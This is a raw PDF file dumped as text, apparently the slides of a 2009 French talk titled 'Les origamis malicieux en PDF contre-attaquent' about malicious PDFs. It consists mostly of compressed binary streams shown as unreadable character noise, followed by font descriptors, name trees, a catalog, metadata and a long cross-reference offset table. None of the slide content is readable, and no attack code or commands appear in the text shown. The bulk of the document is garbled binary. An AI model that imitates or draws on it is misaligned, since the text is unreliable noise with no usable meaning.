jk/(n{A6fDaD&,kO1B {:k[i4)X-cu9qӕ! 2_Lqڄ,؃ j1К9tWTb&6YgCsQLFP*KaLq%2gJbSf)-.yަa XNNXa`XR v=p_KƋf|K6H|pЀ 'h`=^̙L/B1da%>%Oυ7h?Uo(ePzf戽:qh%mFN?W둑cB&fVk&}ZߗkC\γAW!Ԡko&AIJ=؅=&tB \S'GWs >Sgude񂬶`ĭZGsrxeεv:BRw䧩uG倮hO't,"'[E lj7! )ҺiyqV?\ĄOJgTE *Aa8#}rO'kWem.Uy3E / ĕ,lSTB72-3㐆NHEvsvG|˾Z& ֺG_ 8+t;niaL{sFGYjݠ11q4lۗ}y(RkK{Frr A ~8^Q @O,gUEeeu*0P8a ۣU oqD`>/th]S{ =b8!Qɱ2z1S;qϡWYT =BtۚǽƒU~s9lMx)oM=lJ{x%ÇGHĿ</oG??H"d&XOT)V H9k}s2 J%v*gޛz}BY* TC+ya'y5O诓2'>  /`H5/+Hi)A(eXpGM X5| vЎ n(#wRKQQ,g=-1J:vM-LeNƊƎ}g}>f<7Q}h6r*=l,_,iu;#;,X83dC2M֭9Хwr\B93Ǥ|ֆn*45h"_Lk>"ʏNnR)٧L V4~~||??bI`4 .Xm(^6XR: @>l3m8"xR< 7xЕ!S!?U@Pu5ĿIl/t,Yy!ps|'UwKOhݶkGEϙ#xr*9+M5M4 5!?L&R=\b 2XqoZI )ڬ%×8M 0xZAX7BƽAW%&;.u#JV5 frze$am$DF_LR2v@?(4l5K6xöknh/+K_8}Z2فU8vOG !mJ2;W˖,.^A [cx(cuCۂh&F{&%}EyH5V\TZ~٨FnH^Ӛ]*# G0Η^p{%e^N{Cǻ"?}>3kz` ikn$^⥙c8rv*gg-? )?GftAU6GNP$] );S*l2n{BMʅuMgaK >:OD-u՝oP WLR-%_K3Ǘfqm̊vnď.mÐs6^7IIT$G: ѧ4G]@_Sڡ\Sk}9zm&z5q9[^_Fg'3&(&{ρ;!\T?["@]^P.rhU# ~qyAQ?:%a\MM6TrN6bc>LGH˓ jǁ5 |C)B1c 1gd WAg:́Y.m޺3$MFp#vX %-zF+o5THtp<,f|C`0c&NJn D^řoR„4tr2 E=j|/GjqMvx{چ{[C-CP)!W!z웣Q >ŖjĹ!}g,8$]/r|đ-[^;UĕDx7^l|;bL9{$d"ovvjGhjҲPtIr^jі3վ9Ba5LB 6xaTA`۽ 䋺,)tC/tAb܍6~,W`Q'n.xϒ0+%>oɴV۪EfC1ZǏ);h۵dC[֐WxuYT|YDwH#B< -Jc'nYʨ`I2ɮzmcX(m)z+3D 7eo `cFw+̓܋o(IP.4dJ5c[ 5lւi̼ݺTM߅+^tY<%^SNǾXX4>!6-6n=G 6f-QlJ/pQSFC'@]7$C|Vknk}\ 9 .ґv{ ښ4ێ~ c=6ܸ#zrVTI;U'nI`hD7+$&8X_Tn83LdѶQX{ @ͽ2Ad1Igeof06N`7롐kHVȕAbnzmѥ03s 3t&bį\u9c??rF++ܤ=3xirbq|N ;OUm}#+yOD :͉c9)+p}k2gvmMuu[Rhw]͓Wz̮/û2e@Z:OtΔO˗o展İW =Oj]m3?{DyJMmMM6AA!d}IQ{+UgoO6eyy-]Cj uv{]="U; (-n`uN055Z2sfyiʑFEB´`K./ENfv9ژ&2!6xm-5(}"ZHw rxB XC:ocE'jDkin:h@M7_X[%#, X% Ľtjs8@)V%ʗfP\,j yˢirrALaW_} R= $L~iet1"%]7vOwUq@yz)1k!A8Mq!e2!D܂vΉ ֵM9-vL=49mQNp-B~5*?^9l>[3OyoYnK>)))ng)pwz(ZG?Œ}yJRb]m9K0|A4)A2<#f݋.)݌ ;{Sb1/qռ!Seq_tL5fQ'wR0. 鶖hAN364 n6 LW)fW,&l;n" 7,ǡjK-qIoo$}q%1ghZ@3xnDg؆en,IĶo^ob^+A OBE(L4Rsu6J`n>î}Nm9QjCd[,%~6=RF- ~^d n +FB TH';5lkWӣrKoJ6T?y=j#GQ? qj1eD&>9vBxe$0~(x2$X`eEL~9xҎA+NQt+0. 9$;tƜ'҈/m/O뼚Iscp>-Zlx>I$ƦF$nKI Fz[~J!v%8RqD(c#Q~ytIuw~siPgҲ`,;ZR!o+d-?1s•>5kGAe }%:@TFD:0.!(Ԥ6'Y?S y:ஶ IA\6mL)b "'4_j#|1-6.w߿쇬L'Ƶu$MOѽa]=pCz[&اBy Ya1tY]_->`.fIt]kE♰'NE29z"qq]bBԼӭ s/0RJ͚认['Ke{& tH|[hH9i'bJmьp3<:kyy-_J>/Uzc@lAx.D 28qI?g: b9ALY bu7j[ql?>#`"cySwfa[mu^@*7)wGw7K H5,Q|9j8RZ()ڷչOS)~-nC`R2n~@Ƞ VRZY+4nPogʕ "L*d$֯ 7 R0qXyԤXvrr-~?(0>ҭyv+9"5H'@oȢ8yaQ/nunW̃Y ش9y>$xᑊ֮oh%/0:"b f+#BXk3vp`<$*gV4kp*\F0C$~ {jߥ0~&o{]>uV B5szD-!d&u_.b3zpx_!4į >&7ҨzCű(lKwWs-4@$άeAxU\WsNt:R5bs 9%/Oo؉pNBWxH ԁ;\[UN-[$Vд7>Ts2}E|*PfYI34\ۛˊݲ@x%;*D'dh]ZmLb&Ad/ 7yB~0wkgA}A_mё؍a g:iG[S;#l0*vbAPJzI3qkyVI[gVĺ&u;IN1rɗZE F2t="Ql'zv6Vr HU(e׈=<%VF@"+'9xוAӓß$B|{6<B7ʬӟ:t?FRX|`XX ¤<=E" d5-0%Vf(\}a]D -Kș,5KWIFw!!fRf .Մs|}CITȧ&aYp3\3Y':\Si,8{T&1]0ʽE >BEp#4$S&7o0_8 1Uds!~Fg;96g/+h)S[&|xEI5P!5BA! ?A{5B:⑺0)iXD@X  endstream endobj 1285 0 obj << /Type /FontDescriptor /FontName /PMVACP+CMTT8 /Flags 4 /FontBBox [ -5 -232 545 699 ] /Ascent 611 /CapHeight 611 /Descent -222 /ItalicAngle 0 /StemV 76 /XHeight 431 /CharSet (/A/B/C/H/I/L/M/N/O/P/S/T/U/a/backslash/braceleft/braceright/c/colon/d/e/f/five/four/g/h/hyphen/i/l/m/n/numbersign/o/one/p/period/quotedbl/r/s/seven/six/slash/t/three/two/u/w/x/y/zero) /FontFile 1284 0 R >> endobj 1286 0 obj << /Length1 1047 /Length2 4096 /Length3 0 /Length 4750 /Filter /FlateDecode >>stream xڭu\kǗFB;vTRB:]`eمD:$DBC$TPQA$w9\ߙf~&P LKMC E,!Eϯ9QH-g?VTw"d 2&; w4^04 :yp9\9  _ Cà`0.0w8\ = x}q!Ha'B"(̍\):wM/(/o 04ߡְ p׿z~:2}u0 Cc`0$pm@RHK_3q#,wø၀>6#q +8A,p PX 镔@pW\KB74!o_$HptIHtO4XJ ^@0 Ҁ$W qqA0.32. A }q|/ wq\@ Bp_Cx[\HK2@NQ!bh_[ 6,J>;rUS]4RA$|ߨk"r&Q:`#2zh+7y;>'WVs[lxEnѴ7M|ۖ38Xq/oDHb=7ο;7JNF'a]' mFS'!6#pdحXs IsGб+qbD#yjl80xў {|$\ ϗd\1-eȾ9ﶢ5۝Τ=dHW(O`1Y^J]'CboE6N&_;Y,w:~Uץwt48¾8^7dbY$'-a DF7Q;ҍBX[;qc22 .ʵk s2(:ɰZQ`"Si|Fey9Q01^s VO v/|g1]ߜ׉gMy0 DIҷC > +6s5Ȓ%JbTQ;KlU lYeg9ҵkCM|?~U1F\H{_X1er۲f~̩jDD[J˖wYGz)e7@jsv.SWx(%h3bxre?nΎ%}۱y;ZeL64#L }kms0ZzG1rE7N\|4&E4.O9{ FЛƐ.؎idD[*xa%J<=BxA_2!Gvz.YAAޔ>rB"LI,N ـ&vb[Z2%֒w-l]aɣb]InU?+)<* Rm1 | ,`'xܹ͢j䖾QȄrFs^'o@M /rPN皹q}eUz_ L]#A֠.-Nq:>s>`BB+el@ 2,8|Gw?|Hy{^ ?a]"+hΧEn}p-s&fՁ$1+}w)䑦^Go )T.IiOUҜ &vv}T&sse5d ֻ,DŽ%/4l-t6}%mK0n4/ltƤِ&K㕆uïAT{Cy33dv9+ fU)!Cr7A{)4/4WNߥe?p4x8p5ay2HooM*9]S"rϡ.Es,&+E rkyԡEZvȒl6ڏ=Z TBFح>(3іӷPo__BkP91y'nc2L~#2b6\)/U[J"$!*{RO/x3Vd(X] 8LcjolaN/g5q'x}!ϽO],bIvMI>~si?Æ#ۉU@uƫ;,1Ea?/XʲA?S?zzgǂdV`6\\` w~hmU{l,I[oF)9\%96VAd c|t Qwv {M>dmL󑴘TrZ7[ Ieyχ'`ǐ.텤2[آp84R%(MXKQ@*F6S U^ OF{xmTyЖY]N *1x0ep"% x[h*r{nY-80OjZ]0VA} siV;ZOljqr6ۭnvu|&4o.85bxIW5"JnuƙT7:"X+7-9n1wCMUTΒ65t+.VwSmo(J]x ؾ*:}4@Cw+Vz㢫iJˏ5[FP0 K\OjC,;\m=4j&|Mmda]Z%X2mOcz3{L땬fv ,˝[JLOc,`#\iz VZ @i'?Z{gt<2d~/K76Sέf={X []jJon_2>jyhfY\Or[^k6XB(( pɋS'34I)\:=p>wsYSlh2? r*cxO4)ۚdOMh\WvyϜUtV|0m$y y=W\ mWЂHM6k+(QܚPeWHǬwn[#)ǮݞtLCah5gnr'>zF 1p'i?(^:4.>i;Esm#$b}}1A]]tPԨ@@M#1/x_"rE<)̆Z![;1׷|0`3YBL0c-60x)lv=lc=1>L2)Af_\Prnx'6b&Kwj0cj|ߣN|ZNP7L[e J> endobj 1288 0 obj << /Count 28 /Kids [ 90 0 R 491 0 R 712 0 R 922 0 R 1139 0 R ] /Type /Pages >> endobj 1289 0 obj << /Type /Outlines /First 14 0 R /Last 34 0 R /Count 8 >> endobj 1290 0 obj << /Names [ (Doc-Start) 86 0 R (Navigation1) 88 0 R (Navigation10) 493 0 R (Navigation11) 116 0 R (Navigation12) 634 0 R (Navigation13) 677 0 R ] /Limits [ (Doc-Start) (Navigation13) ] >> endobj 1291 0 obj << /Names [ (Navigation14) 713 0 R (Navigation15) 746 0 R (Navigation16) 678 0 R (Navigation17) 636 0 R (Navigation18) 853 0 R (Navigation19) 889 0 R ] /Limits [ (Navigation14) (Navigation19) ] >> endobj 1292 0 obj << /Names [ (Navigation2) 111 0 R (Navigation20) 635 0 R (Navigation21) 117 0 R (Navigation22) 995 0 R (Navigation23) 1035 0 R (Navigation24) 996 0 R ] /Limits [ (Navigation2) (Navigation24) ] >> endobj 1293 0 obj << /Names [ (Navigation25) 1106 0 R (Navigation26) 1140 0 R (Navigation27) 1173 0 R (Navigation28) 114 0 R (Navigation3) 168 0 R (Navigation4) 112 0 R ] /Limits [ (Navigation25) (Navigation4) ] >> endobj 1294 0 obj << /Names [ (Navigation5) 113 0 R (Navigation6) 280 0 R (Navigation7) 115 0 R (Navigation8) 492 0 R (Navigation9) 529 0 R (Outline0.1) 13 0 R ] /Limits [ (Navigation5) (Outline0.1) ] >> endobj 1295 0 obj << /Names [ (Outline0.2) 17 0 R (Outline0.3) 21 0 R (Outline0.3.1.12) 25 0 R (Outline0.3.2.17) 29 0 R (Outline0.4) 33 0 R (Outline0.4.1.22) 37 0 R ] /Limits [ (Outline0.2) (Outline0.4.1.22) ] >> endobj 1296 0 obj << /Names [ (Outline0.4.2.24) 41 0 R (page.1) 89 0 R (page.10) 593 0 R (page.11) 633 0 R (page.12) 675 0 R (page.13) 711 0 R ] /Limits [ (Outline0.4.2.24) (page.13) ] >> endobj 1297 0 obj << /Names [ (page.14) 745 0 R (page.15) 781 0 R (page.16) 814 0 R (page.17) 852 0 R (page.18) 887 0 R (page.19) 921 0 R ] /Limits [ (page.14) (page.19) ] >> endobj 1298 0 obj << /Names [ (page.2) 156 0 R (page.20) 956 0 R (page.21) 994 0 R (page.22) 1034 0 R (page.23) 1067 0 R (page.24) 1105 0 R ] /Limits [ (page.2) (page.24) ] >> endobj 1299 0 obj << /Names [ (page.25) 1138 0 R (page.26) 1172 0 R (page.27) 1206 0 R (page.28) 1239 0 R (page.3) 206 0 R (page.4) 243 0 R ] /Limits [ (page.25) (page.4) ] >> endobj 1300 0 obj << /Names [ (page.5) 278 0 R (page.6) 312 0 R (page.7) 490 0 R (page.8) 526 0 R (page.9) 560 0 R ] /Limits [ (page.5) (page.9) ] >> endobj 1301 0 obj << /Kids [ 1290 0 R 1291 0 R 1292 0 R 1293 0 R 1294 0 R 1295 0 R ] /Limits [ (Doc-Start) (Outline0.4.1.22) ] >> endobj 1302 0 obj << /Kids [ 1296 0 R 1297 0 R 1298 0 R 1299 0 R 1300 0 R ] /Limits [ (Outline0.4.2.24) (page.9) ] >> endobj 1303 0 obj << /Kids [ 1301 0 R 1302 0 R ] /Limits [ (Doc-Start) (page.9) ] >> endobj 1304 0 obj << /Dests 1303 0 R >> endobj 1305 0 obj << /Type /Catalog /Pages 1288 0 R /Outlines 1289 0 R /Names 1304 0 R /PageMode /UseOutlines /OpenAction 44 0 R >> endobj 1306 0 obj << /Author () /Title (Les origamis malicieux en PDF contre-attaquent) /Subject () /Creator (LaTeX with beamer class version 3.07) /Producer (pdfTeX-1.40.3) /Keywords () /CreationDate (D:20090608195303+02'00') /ModDate (D:20090608195303+02'00') /Trapped /False /PTEX.Fullbanner (This is pdfTeX using libpoppler, Version 3.141592-1.40.3-2.2 \(Web2C 7.5.6\) kpathsea version 3.5.6) >> endobj xref 0 4 0000000000 65535 f 0000000010 00000 n 0000000035 00000 n 0000000060 00000 n 12 35 0000000120 00000 n 0000000175 00000 n 0000000243 00000 n 0000000331 00000 n 0000000385 00000 n 0000000440 00000 n 0000000508 00000 n 0000000611 00000 n 0000000658 00000 n 0000000713 00000 n 0000000781 00000 n 0000000926 00000 n 0000000960 00000 n 0000001020 00000 n 0000001088 00000 n 0000001174 00000 n 0000001208 00000 n 0000001268 00000 n 0000001336 00000 n 0000001422 00000 n 0000001473 00000 n 0000001528 00000 n 0000001596 00000 n 0000001726 00000 n 0000001800 00000 n 0000001860 00000 n 0000001929 00000 n 0000002015 00000 n 0000002049 00000 n 0000002109 00000 n 0000002178 00000 n 0000002264 00000 n 0000002309 00000 n 0000002367 00000 n 0000002780 00000 n 52 1255 0000003000 00000 n 0000003217 00000 n 0000003427 00000 n 0000003639 00000 n 0000004087 00000 n 0000004547 00000 n 0000004739 00000 n 0000004922 00000 n 0000005114 00000 n 0000005306 00000 n 0000005497 00000 n 0000005689 00000 n 0000005881 00000 n 0000006073 00000 n 0000006265 00000 n 0000006457 00000 n 0000006649 00000 n 0000006840 00000 n 0000007032 00000 n 0000007224 00000 n 0000007415 00000 n 0000007607 00000 n 0000007799 00000 n 0000007980 00000 n 0000008159 00000 n 0000008342 00000 n 0000008537 00000 n 0000008732 00000 n 0000008928 00000 n 0000009124 00000 n 0000009317 00000 n 0000009595 00000 n 0000011592 00000 n 0000011754 00000 n 0000011917 00000 n 0000011984 00000 n 0000012147 00000 n 0000012213 00000 n 0000012279 00000 n 0000012409 00000 n 0000012733 00000 n 0000013085 00000 n 0000013659 00000 n 0000014206 00000 n 0000014359 00000 n 0000014413 00000 n 0000018144 00000 n 0000018166 00000 n 0000018190 00000 n 0000018232 00000 n 0000019138 00000 n 0000019162 00000 n 0000019316 00000 n 0000019371 00000 n 0000096197 00000 n 0000096220 00000 n 0000096246 00000 n 0000096288 00000 n 0000097194 00000 n 0000097218 00000 n 0000097286 00000 n 0000097354 00000 n 0000097422 00000 n 0000097491 00000 n 0000097559 00000 n 0000097627 00000 n 0000097695 00000 n 0000098168 00000 n 0000098391 00000 n 0000098611 00000 n 0000098869 00000 n 0000099108 00000 n 0000099333 00000 n 0000099557 00000 n 0000099782 00000 n 0000099975 00000 n 0000100159 00000 n 0000100352 00000 n 0000100545 00000 n 0000100737 00000 n 0000100930 00000 n 0000101123 00000 n 0000101316 00000 n 0000101509 00000 n 0000101702 00000 n 0000101895 00000 n 0000102087 00000 n 0000102280 00000 n 0000102473 00000 n 0000102665 00000 n 0000102858 00000 n 0000103051 00000 n 0000103233 00000 n 0000103413 00000 n 0000103597 00000 n 0000103793 00000 n 0000103989 00000 n 0000104186 00000 n 0000104383 00000 n 0000104576 00000 n 0000104921 00000 n 0000105394 00000 n 0000108508 00000 n 0000108673 00000 n 0000108837 00000 n 0000108905 00000 n 0000109262 00000 n 0000109859 00000 n 0000110760 00000 n 0000110914 00000 n 0000110969 00000 n 0000114701 00000 n 0000114724 00000 n 0000114749 00000 n 0000114791 00000 n 0000115697 00000 n 0000115721 00000 n 0000115789 00000 n 0000116009 00000 n 0000116229 00000 n 0000116452 00000 n 0000116671 00000 n 0000116883 00000 n 0000117097 00000 n 0000117317 00000 n 0000117542 00000 n 0000117735 00000 n 0000117919 00000 n 0000118112 00000 n 0000118305 00000 n 0000118497 00000 n 0000118690 00000 n 0000118883 00000 n 0000119076 00000 n 0000119269 00000 n 0000119462 00000 n 0000119655 00000 n 0000119847 00000 n 0000120040 00000 n 0000120233 00000 n 0000120425 00000 n 0000120618 00000 n 0000120811 00000 n 0000120993 00000 n 0000121173 00000 n 0000121357 00000 n 0000121553 00000 n 0000121749 00000 n 0000121946 00000 n 0000122143 00000 n 0000122336 00000 n 0000122721 00000 n 0000123170 00000 n 0000125651 00000 n 0000125814 00000 n 0000125882 00000 n 0000126765 00000 n 0000127639 00000 n 0000128236 00000 n 0000128592 00000 n 0000129176 00000 n 0000129733 00000 n 0000130630 00000 n 0000130855 00000 n 0000131048 00000 n 0000131232 00000 n 0000131425 00000 n 0000131618 00000 n 0000131810 00000 n 0000132003 00000 n 0000132196 00000 n 0000132389 00000 n 0000132582 00000 n 0000132775 00000 n 0000132968 00000 n 0000133160 00000 n 0000133353 00000 n 0000133546 00000 n 0000133738 00000 n 0000133931 00000 n 0000134124 00000 n 0000134306 00000 n 0000134486 00000 n 0000134670 00000 n 0000134866 00000 n 0000135062 00000 n 0000135259 00000 n 0000135456 00000 n 0000135649 00000 n 0000136026 00000 n 0000136475 00000 n 0000138981 00000 n 0000139049 00000 n 0000139271 00000 n 0000139467 00000 n 0000139663 00000 n 0000139860 00000 n 0000140055 00000 n 0000140280 00000 n 0000140473 00000 n 0000140657 00000 n 0000140850 00000 n 0000141043 00000 n 0000141235 00000 n 0000141428 00000 n 0000141621 00000 n 0000141814 00000 n 0000142007 00000 n 0000142200 00000 n 0000142393 00000 n 0000142585 00000 n 0000142778 00000 n 0000142971 00000 n 0000143163 00000 n 0000143356 00000 n 0000143549 00000 n 0000143731 00000 n 0000143911 00000 n 0000144095 00000 n 0000144291 00000 n 0000144487 00000 n 0000144684 00000 n 0000144881 00000 n 0000145074 00000 n 0000145359 00000 n 0000145840 00000 n 0000147734 00000 n 0000147802 00000 n 0000148680 00000 n 0000148748 00000 n 0000155055 00000 n 0000155280 00000 n 0000155473 00000 n 0000155657 00000 n 0000155850 00000 n 0000156043 00000 n 0000156235 00000 n 0000156428 00000 n 0000156621 00000 n 0000156814 00000 n 0000157007 00000 n 0000157200 00000 n 0000157393 00000 n 0000157585 00000 n 0000157778 00000 n 0000157971 00000 n 0000158163 00000 n 0000158356 00000 n 0000158549 00000 n 0000158731 00000 n 0000158911 00000 n 0000159095 00000 n 0000159291 00000 n 0000159487 00000 n 0000159684 00000 n 0000159881 00000 n 0000160074 00000 n 0000160342 00000 n 0000160791 00000 n 0000162269 00000 n 0000162434 00000 n 0000162502 00000 n 0000162739 00000 n 0000162781 00000 n 0000162823 00000 n 0000162877 00000 n 0000162933 00000 n 0000162990 00000 n 0000163044 00000 n 0000163098 00000 n 0000163306 00000 n 0000163506 00000 n 0000163701 00000 n 0000165189 00000 n 0000167418 00000 n 0000169634 00000 n 0000169869 00000 n 0000170153 00000 n 0000170403 00000 n 0000172650 00000 n 0000174249 00000 n 0000176300 00000 n 0000178005 00000 n 0000178292 00000 n 0000181780 00000 n 0000184888 00000 n 0000189728 00000 n 0000189972 00000 n 0000191460 00000 n 0000198381 00000 n 0000200610 00000 n 0000206421 00000 n 0000208668 00000 n 0000210156 00000 n 0000211755 00000 n 0000213243 00000 n 0000215472 00000 n 0000217688 00000 n 0000219904 00000 n 0000223236 00000 n 0000223958 00000 n 0000227153 00000 n 0000227178 00000 n 0000227997 00000 n 0000228903 00000 n 0000229168 00000 n 0000229462 00000 n 0000229734 00000 n 0000229844 00000 n 0000230110 00000 n 0000230344 00000 n 0000230369 00000 n 0000230596 00000 n 0000230621 00000 n 0000232047 00000 n 0000232072 00000 n 0000233493 00000 n 0000233516 00000 n 0000233933 00000 n 0000233956 00000 n 0000234750 00000 n 0000234773 00000 n 0000235176 00000 n 0000235201 00000 n 0000236634 00000 n 0000236659 00000 n 0000236886 00000 n 0000236911 00000 n 0000237138 00000 n 0000237163 00000 n 0000237390 00000 n 0000237413 00000 n 0000238246 00000 n 0000238271 00000 n 0000238555 00000 n 0000238580 00000 n 0000240398 00000 n 0000240423 00000 n 0000240714 00000 n 0000240737 00000 n 0000241068 00000 n 0000241093 00000 n 0000241320 00000 n 0000241345 00000 n 0000241682 00000 n 0000241707 00000 n 0000243133 00000 n 0000243158 00000 n 0000243469 00000 n 0000243494 00000 n 0000244927 00000 n 0000244952 00000 n 0000245179 00000 n 0000245204 00000 n 0000245431 00000 n 0000245456 00000 n 0000245683 00000 n 0000245708 00000 n 0000247133 00000 n 0000247158 00000 n 0000248577 00000 n 0000248602 00000 n 0000250021 00000 n 0000250046 00000 n 0000251973 00000 n 0000251997 00000 n 0000252950 00000 n 0000252975 00000 n 0000254412 00000 n 0000254436 00000 n 0000254460 00000 n 0000274397 00000 n 0000276287 00000 n 0000281816 00000 n 0000281839 00000 n 0000281864 00000 n 0000281889 00000 n 0000281913 00000 n 0000281937 00000 n 0000281961 00000 n 0000281986 00000 n 0000282009 00000 n 0000282032 00000 n 0000282055 00000 n 0000282079 00000 n 0000282102 00000 n 0000282127 00000 n 0000282150 00000 n 0000282174 00000 n 0000282197 00000 n 0000282221 00000 n 0000282246 00000 n 0000282270 00000 n 0000282295 00000 n 0000282318 00000 n 0000282341 00000 n 0000282364 00000 n 0000282389 00000 n 0000282414 00000 n 0000282439 00000 n 0000282464 00000 n 0000282488 00000 n 0000282513 00000 n 0000282539 00000 n 0000282564 00000 n 0000282589 00000 n 0000282785 00000 n 0000282981 00000 n 0000283178 00000 n 0000283373 00000 n 0000283598 00000 n 0000283791 00000 n 0000283975 00000 n 0000284168 00000 n 0000284361 00000 n 0000284553 00000 n 0000284746 00000 n 0000284939 00000 n 0000285132 00000 n 0000285325 00000 n 0000285519 00000 n 0000285713 00000 n 0000285905 00000 n 0000286098 00000 n 0000286292 00000 n 0000286485 00000 n 0000286678 00000 n 0000286871 00000 n 0000287053 00000 n 0000287233 00000 n 0000287417 00000 n 0000287613 00000 n 0000287809 00000 n 0000288006 00000 n 0000288203 00000 n 0000288396 00000 n 0000288681 00000 n 0000289163 00000 n 0000291059 00000 n 0000291127 00000 n 0000291259 00000 n 0000291327 00000 n 0000291395 00000 n 0000291618 00000 n 0000291838 00000 n 0000292063 00000 n 0000292256 00000 n 0000292440 00000 n 0000292633 00000 n 0000292826 00000 n 0000293018 00000 n 0000293211 00000 n 0000293404 00000 n 0000293597 00000 n 0000293790 00000 n 0000293984 00000 n 0000294178 00000 n 0000294370 00000 n 0000294563 00000 n 0000294757 00000 n 0000294950 00000 n 0000295143 00000 n 0000295336 00000 n 0000295518 00000 n 0000295698 00000 n 0000295882 00000 n 0000296078 00000 n 0000296274 00000 n 0000296471 00000 n 0000296668 00000 n 0000296861 00000 n 0000297240 00000 n 0000297690 00000 n 0000300449 00000 n 0000300613 00000 n 0000300681 00000 n 0000301242 00000 n 0000302035 00000 n 0000302103 00000 n 0000302328 00000 n 0000302521 00000 n 0000302705 00000 n 0000302899 00000 n 0000303092 00000 n 0000303284 00000 n 0000303477 00000 n 0000303671 00000 n 0000303864 00000 n 0000304057 00000 n 0000304251 00000 n 0000304445 00000 n 0000304637 00000 n 0000304830 00000 n 0000305024 00000 n 0000305217 00000 n 0000305410 00000 n 0000305603 00000 n 0000305785 00000 n 0000305965 00000 n 0000306149 00000 n 0000306345 00000 n 0000306541 00000 n 0000306738 00000 n 0000306935 00000 n 0000307128 00000 n 0000307490 00000 n 0000307940 00000 n 0000310727 00000 n 0000310893 00000 n 0000310961 00000 n 0000311184 00000 n 0000311404 00000 n 0000311629 00000 n 0000311822 00000 n 0000312006 00000 n 0000312200 00000 n 0000312393 00000 n 0000312586 00000 n 0000312780 00000 n 0000312974 00000 n 0000313167 00000 n 0000313360 00000 n 0000313554 00000 n 0000313748 00000 n 0000313940 00000 n 0000314133 00000 n 0000314327 00000 n 0000314520 00000 n 0000314713 00000 n 0000314906 00000 n 0000315088 00000 n 0000315268 00000 n 0000315452 00000 n 0000315648 00000 n 0000315844 00000 n 0000316041 00000 n 0000316238 00000 n 0000316431 00000 n 0000316844 00000 n 0000317294 00000 n 0000320304 00000 n 0000320468 00000 n 0000320536 00000 n 0000321119 00000 n 0000321934 00000 n 0000322129 00000 n 0000322325 00000 n 0000322522 00000 n 0000322719 00000 n 0000322914 00000 n 0000323108 00000 n 0000323333 00000 n 0000323527 00000 n 0000323711 00000 n 0000323905 00000 n 0000324099 00000 n 0000324292 00000 n 0000324486 00000 n 0000324680 00000 n 0000324874 00000 n 0000325068 00000 n 0000325262 00000 n 0000325456 00000 n 0000325649 00000 n 0000325843 00000 n 0000326037 00000 n 0000326230 00000 n 0000326423 00000 n 0000326616 00000 n 0000326798 00000 n 0000326978 00000 n 0000327162 00000 n 0000327358 00000 n 0000327554 00000 n 0000327751 00000 n 0000327948 00000 n 0000328146 00000 n 0000328344 00000 n 0000328535 00000 n 0000328836 00000 n 0000329350 00000 n 0000331406 00000 n 0000331474 00000 n 0000331542 00000 n 0000331610 00000 n 0000331678 00000 n 0000331873 00000 n 0000332069 00000 n 0000332266 00000 n 0000332463 00000 n 0000332683 00000 n 0000332878 00000 n 0000333072 00000 n 0000333297 00000 n 0000333491 00000 n 0000333675 00000 n 0000333869 00000 n 0000334063 00000 n 0000334256 00000 n 0000334450 00000 n 0000334644 00000 n 0000334838 00000 n 0000335032 00000 n 0000335226 00000 n 0000335420 00000 n 0000335613 00000 n 0000335807 00000 n 0000336001 00000 n 0000336194 00000 n 0000336387 00000 n 0000336580 00000 n 0000336762 00000 n 0000336942 00000 n 0000337126 00000 n 0000337322 00000 n 0000337518 00000 n 0000337715 00000 n 0000337912 00000 n 0000338110 00000 n 0000338308 00000 n 0000338499 00000 n 0000338817 00000 n 0000339331 00000 n 0000341393 00000 n 0000341461 00000 n 0000342337 00000 n 0000342405 00000 n 0000342473 00000 n 0000535522 00000 n 0000535747 00000 n 0000535941 00000 n 0000536125 00000 n 0000536319 00000 n 0000536513 00000 n 0000536706 00000 n 0000536900 00000 n 0000537094 00000 n 0000537288 00000 n 0000537482 00000 n 0000537676 00000 n 0000537870 00000 n 0000538063 00000 n 0000538257 00000 n 0000538451 00000 n 0000538644 00000 n 0000538837 00000 n 0000539030 00000 n 0000539212 00000 n 0000539392 00000 n 0000539576 00000 n 0000539772 00000 n 0000539968 00000 n 0000540165 00000 n 0000540362 00000 n 0000540560 00000 n 0000540758 00000 n 0000540949 00000 n 0000541302 00000 n 0000541768 00000 n 0000544138 00000 n 0000544206 00000 n 0000544338 00000 n 0000544406 00000 n 0000544631 00000 n 0000544825 00000 n 0000545009 00000 n 0000545203 00000 n 0000545397 00000 n 0000545590 00000 n 0000545784 00000 n 0000545978 00000 n 0000546172 00000 n 0000546366 00000 n 0000546560 00000 n 0000546754 00000 n 0000546947 00000 n 0000547141 00000 n 0000547335 00000 n 0000547528 00000 n 0000547721 00000 n 0000547914 00000 n 0000548096 00000 n 0000548276 00000 n 0000548460 00000 n 0000548656 00000 n 0000548852 00000 n 0000549049 00000 n 0000549246 00000 n 0000549444 00000 n 0000549642 00000 n 0000549833 00000 n 0000550133 00000 n 0000550599 00000 n 0000552707 00000 n 0000552775 00000 n 0000552843 00000 n 0000553068 00000 n 0000553262 00000 n 0000553446 00000 n 0000553640 00000 n 0000553834 00000 n 0000554027 00000 n 0000554221 00000 n 0000554415 00000 n 0000554609 00000 n 0000554803 00000 n 0000554997 00000 n 0000555191 00000 n 0000555384 00000 n 0000555578 00000 n 0000555772 00000 n 0000555965 00000 n 0000556158 00000 n 0000556351 00000 n 0000556533 00000 n 0000556713 00000 n 0000556897 00000 n 0000557093 00000 n 0000557289 00000 n 0000557486 00000 n 0000557683 00000 n 0000557881 00000 n 0000558079 00000 n 0000558270 00000 n 0000558681 00000 n 0000559147 00000 n 0000562934 00000 n 0000563097 00000 n 0000563259 00000 n 0000563421 00000 n 0000563489 00000 n 0000563714 00000 n 0000563908 00000 n 0000564092 00000 n 0000564286 00000 n 0000564480 00000 n 0000564673 00000 n 0000564867 00000 n 0000565061 00000 n 0000565255 00000 n 0000565449 00000 n 0000565643 00000 n 0000565837 00000 n 0000566030 00000 n 0000566224 00000 n 0000566418 00000 n 0000566611 00000 n 0000566804 00000 n 0000566997 00000 n 0000567179 00000 n 0000567359 00000 n 0000567543 00000 n 0000567739 00000 n 0000567935 00000 n 0000568132 00000 n 0000568329 00000 n 0000568527 00000 n 0000568725 00000 n 0000568916 00000 n 0000569293 00000 n 0000569759 00000 n 0000572436 00000 n 0000572598 00000 n 0000572666 00000 n 0000572861 00000 n 0000573057 00000 n 0000573254 00000 n 0000573451 00000 n 0000573646 00000 n 0000573840 00000 n 0000574065 00000 n 0000574259 00000 n 0000574443 00000 n 0000574637 00000 n 0000574831 00000 n 0000575024 00000 n 0000575218 00000 n 0000575412 00000 n 0000575606 00000 n 0000575800 00000 n 0000575994 00000 n 0000576188 00000 n 0000576381 00000 n 0000576575 00000 n 0000576769 00000 n 0000576962 00000 n 0000577155 00000 n 0000577348 00000 